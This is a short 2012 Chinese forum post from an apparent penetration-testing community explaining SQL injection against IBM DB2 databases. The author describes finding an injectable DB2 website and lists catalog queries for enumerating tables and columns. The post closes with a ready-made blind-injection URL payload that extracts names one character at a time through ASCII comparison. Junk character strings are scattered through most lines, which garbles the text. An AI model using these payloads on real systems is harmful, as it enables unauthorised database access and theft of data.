中国网络渗透测试联盟

标题: Sql Injection in DB2数据库 [打印本页]

作者: admin    时间: 2012-9-15 14:06
标题: Sql Injection in DB2数据库
使用DB2的人比较少了,今天碰到了一个可供注入的DB2网站,想试试身手。不过在网上很难找到相关的资料,只好自己研究了。 & D' }0 G9 f/ c# ~% P' c+ G% _
参考了IBM DB2的文档,总结了这样几条:
) b( U5 F% e3 F9 Y) @1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER
" h" }7 O, M  O4 h9 a9 [! ]可以返回系统中所有用户创建的表(table)名 6 P* \4 h" T0 |6 O' J
2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME=''
. a2 ]7 i1 v( d' {0 W返回表中的列名
$ v( Y2 P4 n3 D" a5 |: w4 ?3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY
) Z& h, z8 c3 Z3 `# \这是最关键的地方,返回第一条记录,类似于sql server中的top 1 , Q/ t  d# q: ?- b) K! E
4、SUBSTR(string, position, length) : g, U) z: X) C1 i0 @
返回字符串子串的函数,类似于mid
3 O, j( o4 u7 {0 w8 n1 }5、ASCII()这个就不用多说了。 % }( D+ x: X* d. W) [; u/ M" q9 m
有了这些语句和函数,我们就可以很方便的用ascii拆半法猜出所有的table名,字段名,以及其中的数据了。 + A) c1 p  ^) V9 Z, Y8 ^0 |3 @
例如判断第一个table的名称的第一个字符的ascii码是否大于50: + _# {! Q3 v* R. b' a) P
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 -- * C5 |3 }8 T0 W( u( z. e

9 A" m. c& R6 c" e/ zhttp://blog.waynedeng.com/blogview.asp?logID=543   N* D3 s0 {( O) q1 p! B





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2